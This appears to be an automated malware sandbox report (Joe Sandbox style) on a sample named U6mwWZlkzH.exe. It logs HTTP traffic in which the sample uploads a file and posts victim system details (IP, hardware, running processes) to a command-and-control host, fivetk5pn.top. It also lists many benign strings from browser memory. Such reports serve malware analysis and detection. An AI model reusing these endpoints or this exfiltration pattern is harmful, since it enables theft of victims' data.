Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivetk5pn.topAccept: /Content-Length: 26506Content-Type: multipart/form-data; boundary=------------------------uqnfF1P8ikMz0CjcsmOehmData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 75 71 6e 66 46 31 50 38 69 6b 4d 7a 30 43 6a 63 73 6d 4f 65 68 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 52 61 66 61 76 65 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a dc fd 73 9d 5d b3 1d df e4 f4 b5 bc 40 ef 50 4e 8a 6d 7d ce e3 85 a9 86 49 5d 97 d0 6e 1e fa 5a 9b d6 87 06 3a 41 b9 13 54 89 4f 34 84 c6 26 23 3c 73 8f 97 d4 ff 75 a0 4f 84 c1 92 ce 98 88 63 bf 1a 01 6f f8 f1 eb f2 9b d0 92 be 9d fc f5 ee 79 a1 f5 d3 1a 1b bc fd e4 4c b3 0c b0 82 85 e4 f9 71 1e ce 55 c1 16 89 7c ca e0 f0 a9 21 f6 98 99 66 5d c8 31 ca df 5e 6d 82 5d 1b 02 7b 3a 10 ad f6 bd 78 6a d4 a4 57 17 89 ae 3c 75 43 24 8b f7 1c df 76 4f 55 e6 23 06 a9 aa ed ba 79 89 d5 fa 43 d6 dc 50 cc 72 b8 76 c5 5a ad af ae 6d e9 21 c6 2d a0 7f af 81 96 ab 2a f7 b1 7c 08 db 60 cf d0 c8 e4 4e 02 c8 45 2c fb 5c 82 f1 3e c6 d3 96 12 35 03 f1 ab c0 57 38 df 72 c3 ea b1 81 b1 61 7a ff 17 e7 5c 66 01 cf 1f 26 76 29 7c c0 fd 3d 82 ea 09 89 50 23 e1 3a 2c 56 17 d0 6b c0 0a 15 9c d9 d0 4d 91 6e 72 cb 11 21 df 17 42 02 9a b5 51 63 fa a1 2b 9b 77 58 4a d4 2c ce 1d c1 2a ad 8b ce 1a ec db 4d 7f 28 7c a3 cf 40 45 b9 65 5d 29 46 9a bd c0 3b bf 49 66 3f c4 73 c9 d0 c5 20 fd 70 80 da 47 75 7b af dc ca 71 8e 22 d0 df 9e cc 3b 5c a7 82 c7 9d 7c 8a f0 f6 00 03 d9 ae 33 f1 dc dd 01 39 42 d2 2f 87 fb 81 49 ac 43 92 c5 88 ec ca 61 11 c2 a1 b4 3b 71 b2 f4 87 2c e8 2f f5 69 84 a6 43 a8 5e be 12 d2 21 fc 78 31 0f 4b 73 31 af 78 e6 a4 7c 1d 9f cb 28 c6 47 2d 72 4c ec 98 67 d5 0a 92 d6 ea 49 02 76 97 6b 4c 48 54 5e 6b 18 f1 21 10 30 6c 38 78 ab 59 f6 93 ae 3e d6 c1 cf 83 bc 7c e8 2c b5 88 c7 8e 5e 80 bd 8a fd a1 e7 bc 48 81 0c 4b 1e 59 8b 51 62 4d ab 25 c4 76 e0 cb 1c 06 94 bb db 71 d1 25 86 6e c6 27 58 f7 24 42 e3 97 2d 63 a4 ce 96 be 20 6d ba f7 07 ef 5c 5c b3 4f 9b 05 0a 40 51 d4 84 1a 1d bf cd 73 6b 9a 86 b3 fc f7 52 e2 7f de d4 2f cd 26 8d 38 bc b3 21 1c 73 91 b3 ff 36 a3 c3 d2 5d 47 08 b6 53 12 1a 56 cc d9 15 cf 16 53 ed a8 6c a9 0a ea 4c 78 63 8c 81 31 23 7d ee 95 f8 de 12 20 5d 04 61 8f 90 7b ba b4 05 38 e2 4f 7b 79 05 2e 3a 8e 55 28 54 15 2e 09 59 c5 fd 3b e8 33 a5 2c 77 75 3c ef 2f 90 0a 46 77 f6 fe f4 88 f3 ca e5 94 bf a9 fd 07 e3 38 2f 6e 0f 92 b8 d5 03 42 15 74 eb 39 9c ba 51 76 25 41 be 7f 81 6d ff a1 c6 5f ed 11 2e a1 0d 3b 11 5f 48 b5 84 e1 b2 ff df 8c 79 40 a1 9c 26 42 2a 1f 53 51 5a 62 ac 87 09 fd f0 e0 08 4f b3 40 a7 50 b7 e1 cd 31 24 4b b9 c7 4c 1b bf 3c e5 c8 c5 46 dd e7 07 a4 16 b9 41 02 e3 6d 85 6f eb 5c 05 a0 d3 e4 b4 a6 0d a3 ec a7 a3 b6 b4 69 cd 98 cb 81 d9 8f 9f d8 f7 48 db 72 8e a2 7f 74 8e ff 1d
Source: global traffic	HTTP traffic detected: POST /vJNDHPUXPCEIZZjTPbLp1734325090 HTTP/1.1Host: home.fivetk5pn.topAccept: /Content-Type: application/jsonContent-Length: 56Data Raw: 7b 20 22 69 64 31 22 3a 20 22 35 4d 4a 33 32 4f 45 31 4a 6e 54 6f 38 4c 6d 50 31 37 33 34 35 35 31 37 38 38 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "5MJ32OE1JnTo8LmP1734551788", "data": "Done2" }

Source: Joe Sandbox View	IP Address: 98.85.100.80 98.85.100.80
Source: Joe Sandbox View	IP Address: 185.185.71.170 185.185.71.170

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /vJNDHPUXPCEIZZjTPbLp1734325090?argument=5MJ32OE1JnTo8LmP1734551788 HTTP/1.1Host: home.fivetk5pn.topAccept: /

Source: chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1801019115.000009C002874000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000003.1785381936.000009C00315C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1785203142.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1785740035.000009C0025A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000003.00000003.1785381936.000009C00315C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1785203142.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1785740035.000009C0025A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/;'j equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1804586922.000009C002F5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1804318388.000009C002EE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.fivetk5pn.top
Source: global traffic	DNS traffic detected: DNS query: fivetk5pn.top
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /vJNDHPUXPCEIZZjTPbLp1734325090 HTTP/1.1Host: home.fivetk5pn.topAccept: */*Content-Type: application/jsonContent-Length: 497367Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 35 35 31 37 38 33 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 31 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3

Source: U6mwWZlkzH.exe, 00000000.00000003.1386083154.0000000007B65000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: U6mwWZlkzH.exe, 00000000.00000003.1386083154.0000000007B65000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
